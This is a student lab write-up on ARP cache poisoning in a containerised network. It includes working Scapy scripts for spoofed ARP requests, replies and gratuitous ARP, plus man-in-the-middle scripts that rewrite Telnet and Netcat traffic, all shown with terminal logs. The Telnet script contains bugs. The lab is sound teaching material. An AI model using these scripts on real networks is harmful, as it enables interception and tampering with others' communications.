ARP Attack Lab

	IP Address	MAC Address
A (f3388650dbe8)	10.9.0.5	02:42:0a:09:00:05
B (10ec79306c7d)	10.9.0.6	02:42:0a:09:00:06
M (ed457336d7c0)	10.9.0.105	02:42:0a:09:00:69

```
root@f3388650dbe8:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.5  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:0a:09:00:05  txqueuelen 0  (Ethernet)
        RX packets 39  bytes 4417 (4.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@f3388650dbe8:/#
```

```
root@10ec79306c7d:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.6  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:0a:09:00:06  txqueuelen 0  (Ethernet)
        RX packets 39  bytes 4417 (4.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@10ec79306c7d:/#
```

```
root@ed457336d7c0:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.105  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:0a:09:00:69  txqueuelen 0  (Ethernet)
        RX packets 40  bytes 4547 (4.5 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@ed457336d7c0:/#
```

Task 1: ARP Cache Poisoning

Task 1A:

The following code maps the attacker's MAC address as the hardware source to B's IP address to send the packet to the destination A. Op field value is 1 for ARP request.

```
  GNU nano 4.8                                                    task1A.py
#!/usr/bin/env python3
from scapy.all import *

E = Ether()
A = ARP(hwsrc='02:42:0a:09:00:69', psrc='10.9.0.6', hwdst='02:42:0a:09:00:05', pdst='10.9.0.5')
A.op = 1 # 1 for ARP request; 2 for ARP reply
pkt = E/A
sendp(pkt)
```

```
root@ed457336d7c0:/volumes# nano task1A.py
root@ed457336d7c0:/volumes# arp
root@ed457336d7c0:/volumes# python3 task1A.py
.
Sent 1 packets.
root@ed457336d7c0:/volumes#
```

As shown below, arp cache before packet sent was empty for A, after, there are two entries, one from M and one from B.

```
root@f3388650dbe8:~# arp
root@f3388650dbe8:~# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
23:54:06.008592 ARP, Request who-has 10.9.0.5 tell 10.9.0.105, length 28
23:54:06.008634 ARP, Reply 10.9.0.5 is-at 02:42:0a:09:00:05, length 28
23:54:06.013569 ARP, Request who-has 10.9.0.5 (02:42:0a:09:00:05) tell 10.9.0.6, length 28
23:54:06.013604 ARP, Reply 10.9.0.5 is-at 02:42:0a:09:00:05, length 28
^C
4 packets captured
4 packets received by filter
0 packets dropped by kernel
root@f3388650dbe8:~# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
B-10.9.0.6.net-10.9.0.0  ether   02:42:0a:09:00:69   C                     eth0
M-10.9.0.105.net-10.9.0  ether   02:42:0a:09:00:69   C                     eth0
root@f3388650dbe8:~#
```

arp cache for host B is empty before the packet was sent, and empty after.

```
root@10ec79306c7d:/# arp
root@10ec79306c7d:/# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
23:54:06.008589 ARP, Request who-has 10.9.0.5 tell 10.9.0.105, length 28
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel
root@10ec79306c7d:/# arp
root@10ec79306c7d:/#
```

Mapping the destination of A and the source of B's MAC addresses in the ethernet field, gives us this code.

```
  GNU nano 4.8                                    task11A.py
#!/usr/bin/env python3
from scapy.all import *
E = Ether(dst='02:42:0a:09:00:05', src='02:42:0a:09:00:69')
A = ARP(hwsrc='02:42:0a:09:00:69', psrc='10.9.0.6', hwdst='02:42:0a:09:00:05', pdst='10.9.0.5')
A.op = 1 # 1 for ARP request; 2 for ARP reply
pkt = E/A
sendp(pkt)
```

Running the code, 1 packet sent

```
root@ed457336d7c0:/volumes# python3 task11A.py
.
Sent 1 packets.
root@ed457336d7c0:/volumes#
```

From source A's arp cache, we can see one entry only, from source B's IP mapped to the attacker's MAC.

```
root@f3388650dbe8:~# arp
root@f3388650dbe8:~# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:11:36.331394 ARP, Request who-has 10.9.0.5 (02:42:0a:09:00:05) tell 10.9.0.6, length 28
00:11:36.331419 ARP, Reply 10.9.0.5 is-at 02:42:0a:09:00:05, length 28
^C
2 packets captured
2 packets received by filter
0 packets dropped by kernel
root@f3388650dbe8:~# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
B-10.9.0.6.net-10.9.0.0  ether   02:42:0a:09:00:69   C                     eth0
root@f3388650dbe8:~#
```

Again, source B's arp cache is empty.

```
root@10ec79306c7d:/# arp
root@10ec79306c7d:/# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:11:36.331392 ARP, Request who-has 10.9.0.5 (02:42:0a:09:00:05) tell 10.9.0.6, length 28
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel
root@10ec79306c7d:/# arp
root@10ec79306c7d:/#
```

Task 1B:

The code below modifies op value to 2 to send a reply packet.

```
  GNU nano 4.8                                  task1B.py
#!/usr/bin/env python3
from scapy.all import *
E = Ether(dst='02:42:0a:09:00:05', src='02:42:0a:09:00:69')
A = ARP(hwsrc='02:42:0a:09:00:69', psrc='10.9.0.6', hwdst='02:42:0a:09:00:05', pdst='10.9.0.5')
A.op = 2 # 1 for ARP request; 2 for ARP reply
pkt = E/A
sendp(pkt)
```

Scenario 1:

Sending a packet directly from source B to source A.

```
#!/usr/bin/env python3
from scapy.all import *
E = Ether(dst='02:42:0a:09:00:05', src='02:42:0a:09:00:69')
A = ARP(hwsrc='02:42:0a:09:00:06', psrc='10.9.0.6', hwdst='02:42:0a:09:00:05', pdst='10.9.0.5')
A.op = 1 # 1 for ARP request; 2 for ARP reply
pkt = E/A
sendp(pkt)
```

First a request is sent from B to A, using code from part 1A, then a reply is sent from the attacker to A.

```
root@ed457336d7c0:/volumes# python3 task11A.py
.
Sent 1 packets.
root@ed457336d7c0:/volumes# python3 task1B.py
.
Sent 1 packets.
root@ed457336d7c0:/volumes#
```

Source A's arp cache maps IP address of B to B's hardware address after true request is sent. After the attacker sends a reply on B's behalf, the arp cache then maps B's IP address to the attackers MAC address.

```
root@f3388650dbe8:~# arp
root@f3388650dbe8:~# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:30:25.252342 ARP, Request who-has 10.9.0.5 (02:42:0a:09:00:05) tell 10.9.0.6, length 28
00:30:25.252532 ARP, Reply 10.9.0.5 is-at 02:42:0a:09:00:05, length 28
^C
2 packets captured
2 packets received by filter
0 packets dropped by kernel
root@f3388650dbe8:~# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
B-10.9.0.6.net-10.9.0.0  ether   02:42:0a:09:00:06   C                     eth0
root@f3388650dbe8:~# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:31:42.708895 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel
root@f3388650dbe8:~# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
B-10.9.0.6.net-10.9.0.0  ether   02:42:0a:09:00:69   C                     eth0
root@f3388650dbe8:~#
```

Below is B's arp cache before and after the request and reply.

```
root@10ec79306c7d:/# arp
root@10ec79306c7d:/# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:30:25.252340 ARP, Request who-has 10.9.0.5 (02:42:0a:09:00:05) tell 10.9.0.6, length 28
00:30:25.252542 ARP, Reply 10.9.0.5 is-at 02:42:0a:09:00:05, length 28
^C
2 packets captured
2 packets received by filter
0 packets dropped by kernel
root@10ec79306c7d:/# arp
root@10ec79306c7d:/# arp
root@10ec79306c7d:/#
```

The cache entry is poisoned to show B's address from the reply packet

Scenario 2:
Without sending an initial packet, we run task1B.

```
root@ed457336d7c0:/volumes# python3 task1B.py
.
Sent 1 packets.
root@ed457336d7c0:/volumes#
```

The arp cache for A is initially empty, and after the reply packet is sent from the attacker, it is still empty.

```
root@f3388650dbe8:~# arp
root@f3388650dbe8:~# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:36:53.007511 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel
root@f3388650dbe8:~#
root@f3388650dbe8:~#
root@f3388650dbe8:~# arp
root@f3388650dbe8:~#
```

For source B, the arp cache is empty initially and after the reply packet is sent.

```
root@10ec79306c7d:/# arp
root@10ec79306c7d:/# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:36:53.007509 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel
root@10ec79306c7d:/#
root@10ec79306c7d:/#
root@10ec79306c7d:/# arp
root@10ec79306c7d:/#
```

Since there is no cache entry, there is no cache poisoning occurring.

Task 1C:

Below is the code for the gratuitous ARP. It's source and destination are B's IP addresses. The source is still mapped to the attackers MAC address, but the destination is mapped to ff:ff:ff:ff:ff:ff, the broadcast MAC address.

```
  GNU nano 4.8                                    task1C.py
#!/usr/bin/env python3
from scapy.all import *
E = Ether(dst='ff:ff:ff:ff:ff:ff', src='02:42:0a:09:00:69')
A = ARP(hwsrc='02:42:0a:09:00:69', psrc='10.9.0.6', hwdst='ff:ff:ff:ff:ff:ff', pdst='10.9.0.6')
A.op = 2 # 1 for ARP request; 2 for ARP reply
pkt = E/A
sendp(pkt)
```

Scenario 1:

Sending a packet from B to A.

```
#!/usr/bin/env python3
from scapy.all import *

E = Ether()
A = ARP(hwsrc='02:42:0a:09:00:06', psrc='10.9.0.6', hwdst='02:42:0a:09:00:05', pdst='10.9.0.5')
A.op = 1 # 1 for ARP request; 2 for ARP reply
pkt = E/A
sendp(pkt)
```

First, a request packet is sent from B to A, then a gratuitous packet is sent that maps B's IP to the attacker's MAC.

```
root@ed457336d7c0:/volumes# nano task1C.py
root@ed457336d7c0:/volumes# nano task1A.py
root@ed457336d7c0:/volumes# python3 task1A.py
.
Sent 1 packets.
root@ed457336d7c0:/volumes# python3 task1C.py
.
Sent 1 packets.
root@ed457336d7c0:/volumes#
```

After the request packet, A's arp cache maps B's IP to B's MAC address. After the gratuitous packet, the arp cache maps B's IP to the attacker's MAC.

```
root@f3388650dbe8:~# arp
root@f3388650dbe8:~#
root@f3388650dbe8:~# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:58:41.491375 ARP, Request who-has 10.9.0.5 tell 10.9.0.105, length 28
00:58:41.491463 ARP, Reply 10.9.0.5 is-at 02:42:0a:09:00:05, length 28
00:58:41.498976 ARP, Request who-has 10.9.0.5 (02:42:0a:09:00:05) tell 10.9.0.6, length 28
00:58:41.498997 ARP, Reply 10.9.0.5 is-at 02:42:0a:09:00:05, length 28
^C
4 packets captured
4 packets received by filter
0 packets dropped by kernel
root@f3388650dbe8:~# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
B-10.9.0.6.net-10.9.0.0  ether   02:42:0a:09:00:06   C                     eth0
M-10.9.0.105.net-10.9.0  ether   02:42:0a:09:00:69   C                     eth0
root@f3388650dbe8:~#
root@f3388650dbe8:~# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:59:46.685950 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel
root@f3388650dbe8:~#
root@f3388650dbe8:~# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
B-10.9.0.6.net-10.9.0.0  ether   02:42:0a:09:00:69   C                     eth0
M-10.9.0.105.net-10.9.0  ether   02:42:0a:09:00:69   C                     eth0
root@f3388650dbe8:~#
```

B's arp cache remains empty after request and gratuitous arp.

```
root@10ec79306c7d:/# arp
root@10ec79306c7d:/#
root@10ec79306c7d:/# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:58:41.491372 ARP, Request who-has 10.9.0.5 tell 10.9.0.105, length 28
00:58:41.499003 ARP, Reply 10.9.0.5 is-at 02:42:0a:09:00:05, length 28
^C
2 packets captured
2 packets received by filter
0 packets dropped by kernel
root@10ec79306c7d:/#
root@10ec79306c7d:/# arp
root@10ec79306c7d:/#
root@10ec79306c7d:/# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:59:46.685948 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel
root@10ec79306c7d:/#
root@10ec79306c7d:/# arp
root@10ec79306c7d:/#
```

A's arp cache entry for B is poisoned, mapping B's IP to the attacker's MAC.

Scenario2:
Gratuitous packet sent without a request first.

```
root@ed457336d7c0:/volumes# python3 task1C.py
.
Sent 1 packets.
root@ed457336d7c0:/volumes#
```

The arp cache of A is empty initially, and after the gratuitous arp because there was no request to prompt a map of IP to MAC to be poisoned.

```
root@f3388650dbe8:~# arp
root@f3388650dbe8:~#
root@f3388650dbe8:~# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
01:08:23.858611 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel
root@f3388650dbe8:~#
root@f3388650dbe8:~# arp
root@f3388650dbe8:~#
```

The arp cache of B is empty before and after gratuitous arp sent.

```
root@10ec79306c7d:/# arp
root@10ec79306c7d:/#
root@10ec79306c7d:/# tcpdump -i eth0 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
01:08:23.858609 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel
root@10ec79306c7d:/#
root@10ec79306c7d:/# arp
root@10ec79306c7d:/#
```

If there was no arp cache entry to begin with, it could not get poisoned by the gratuitous arp.

Task 2: MITM Attack on Telnet

new IDs
ddab801d6da7 B-10.9.0.6
a6669b729782 M-10.9.0.105
74494086821b A-10.9.0.5

Task 2.1 (Launch the ARP cache poisoning attack):
For A's arp cache, B's IP will be mapped to the attacker's MAC. For B's arp cache, A's IP will be mapped to the attacker's MAC address.

```
#!/usr/bin/env python3
from scapy.all import *

E1 = Ether(dst='02:42:0a:09:00:05', src='02:42:0a:09:00:69')
E2 = Ether(dst='02:42:0a:09:00:06', src='02:42:0a:09:00:69')

A = ARP(hwsrc='02:42:0a:09:00:69', psrc='10.9.0.6', hwdst='02:42:0a:09:00:05', pdst='10.9.0.5')
B = ARP(hwsrc='02:42:0a:09:00:69', psrc='10.9.0.5', hwdst='02:42:0a:09:00:06', pdst='10.9.0.6')

pkt1 = E1/A
pkt2 = E2/B

pkt1.show()
pkt2.show()

sendp(pkt1)
sendp(pkt2)
```

Running the code sends a 2 packets, one to A and one to B.

```
root@a6669b729782:/# python3 telnet.py
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:05
  src       = 02:42:0a:09:00:69
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = None
     plen      = None
     op        = who-has
     hwsrc     = 02:42:0a:09:00:69
     psrc      = 10.9.0.6
     hwdst     = 02:42:0a:09:00:05
     pdst      = 10.9.0.5

###[ Ethernet ]###
  dst       = 02:42:0a:09:00:06
  src       = 02:42:0a:09:00:69
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = None
     plen      = None
     op        = who-has
     hwsrc     = 02:42:0a:09:00:69
     psrc      = 10.9.0.5
     hwdst     = 02:42:0a:09:00:06
     pdst      = 10.9.0.6

.
Sent 1 packets.
.
Sent 1 packets.
root@a6669b729782:/#
```

In A's arp cache, you can see B's IP address mapped to attacker's MAC address.

```
seed@74494086821b:~$ arp
seed@74494086821b:~$
seed@74494086821b:~$ arp
Address                  HWtype  HWaddress           Flags Mask            Iface
B-10.9.0.6.net-10.9.0.0  ether   02:42:0a:09:00:69   C                     eth0
seed@74494086821b:~$
```

In B's arp cache, you can see A's IP address mapped to attacker's MAC address.

```
seed@ddab801d6da7:~$ arp
seed@ddab801d6da7:~$
seed@ddab801d6da7:~$ arp
Address                  HWtype  HWaddress           Flags Mask            Iface
A-10.9.0.5.net-10.9.0.0  ether   02:42:0a:09:00:69   C                     eth0
seed@ddab801d6da7:~$
```

Task 2.2 (Testing): I couldn't get wireshark to run in digital ocean without VNC (because the lab instructions said to ignore that step)... so I couldn't run that.

Ping from A to B

```
seed@74494086821b:~$ ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=0.199 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.175 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=3 ttl=63 time=0.141 ms
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=4 ttl=63 time=0.146 ms
From 10.9.0.105: icmp_seq=5 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=5 ttl=63 time=0.134 ms
From 10.9.0.105: icmp_seq=6 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=6 ttl=63 time=0.150 ms
64 bytes from 10.9.0.6: icmp_seq=7 ttl=63 time=0.098 ms
From 10.9.0.105: icmp_seq=8 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=8 ttl=63 time=0.145 ms
64 bytes from 10.9.0.6: icmp_seq=9 ttl=63 time=0.105 ms
64 bytes from 10.9.0.6: icmp_seq=10 ttl=64 time=0.131 ms
^C
--- 10.9.0.6 ping statistics ---
10 packets transmitted, 10 received, 0% packet loss, time 9203ms
rtt min/avg/max/mdev = 0.098/0.142/0.199/0.028 ms
seed@74494086821b:~$ arp
Address                  HWtype  HWaddress           Flags Mask            Iface
B-10.9.0.6.net-10.9.0.0  ether   02:42:0a:09:00:06   C                     eth0
M-10.9.0.105.net-10.9.0  ether   02:42:0a:09:00:69   C                     eth0
seed@74494086821b:~$
```

B arp cache after Ping from B

```
seed@ddab801d6da7:~$ arp
Address                  HWtype  HWaddress           Flags Mask            Iface
M-10.9.0.105.net-10.9.0  ether   02:42:0a:09:00:69   C                     eth0
A-10.9.0.5.net-10.9.0.0  ether   02:42:0a:09:00:05   C                     eth0
seed@ddab801d6da7:~$
```

Task 2.3 (Turn on IP forwarding):

Task 2.4 (Launch the MITM attack):

In the code below, we change letters to Z in the packet.

```
  GNU nano 4.8                                                    telnetMITM.py
#!/usr/bin/env python3
from scapy.all import *
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
def spoof_pkt(pkt):
        if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
# Create a new packet based on the captured one.
# 1) We need to delete the checksum in the IP & TCP headers,
# because our modification will make them invalid.
# Scapy will recalculate them if these fields are missing.
# 2) We also delete the original TCP payload.
                newpkt = IP(bytes(pkt[IP]))
                del(newpkt.chksum)
                del(newpkt[TCP].payload)
                del(newpkt[TCP].chksum)
################################################################
# Construct the new payload based on the old payload.
# Students need to implement this part.
                if pkt[TCP].payload:
                        data = pkt[TCP].payload.load # The original payload data
                        data = data.decode()
                        newdata = re.sub(r'a-zA-Z', r'Z', data) # No change is made in this sample code
                        newdata = newdat.encode()
                        send(newpkt/newdata)
                else:
                        send(newpkt)
################################################################
        elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
# Create new packet based on the captured one
# Do not make any change
                newpkt = IP(bytes(pkt[IP]))
                del(newpkt.chksum)
                del(newpkt[TCP].chksum)
                send(newpkt)

f = 'tcp'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

Task 3: MITM Attack on Netcat

The below code changes any instances of my name to a string of all A's.

```python
#!/usr/bin/env python3
from scapy.all import *
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
def spoof_pkt(pkt):
        if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
# Create a new packet based on the captured one.
# 1) We need to delete the checksum in the IP & TCP headers,
# because our modification will make them invalid.
# Scapy will recalculate them if these fields are missing.
# 2) We also delete the original TCP payload.
                newpkt = IP(bytes(pkt[IP]))
                del(newpkt.chksum)
                del(newpkt[TCP].payload)
                del(newpkt[TCP].chksum)
################################################################
# Construct the new payload based on the old payload.
# Students need to implement this part.
                if pkt[TCP].payload:
                        data = pkt[TCP].payload.load # The original payload data
                        newdata = data.replace(b'Amanda', b'AAAAAA') # No change is made in this sample code
                        send(newpkt/newdata)
                else:
                        send(newpkt)
################################################################
        elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
# Create new packet based on the captured one
# Do not make any change
                newpkt = IP(bytes(pkt[IP]))
                del(newpkt.chksum)
                del(newpkt[TCP].chksum)
                send(newpkt)

f = 'tcp'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

Task 4: Write-Up

Arp cache poisoning can only occur if there is already an entry from the victim's IP in the source's arp cache. The attacker can therefore sniff packets between two hosts, and even manipulate messages. I learned a lot about how to set up the separate VMs because I had never done that before, especially with digital ocean. I did run into difficulties trying to use wireshark, but besides that, I was able to understand the lab and the MITM attacks we were to perform. It could be difficult for someone who does not have the technical knowledge to know if their packets are being sniffed, but also attackers still need to know IP and MAC addresses of their victims to be able to posion their ARP caches.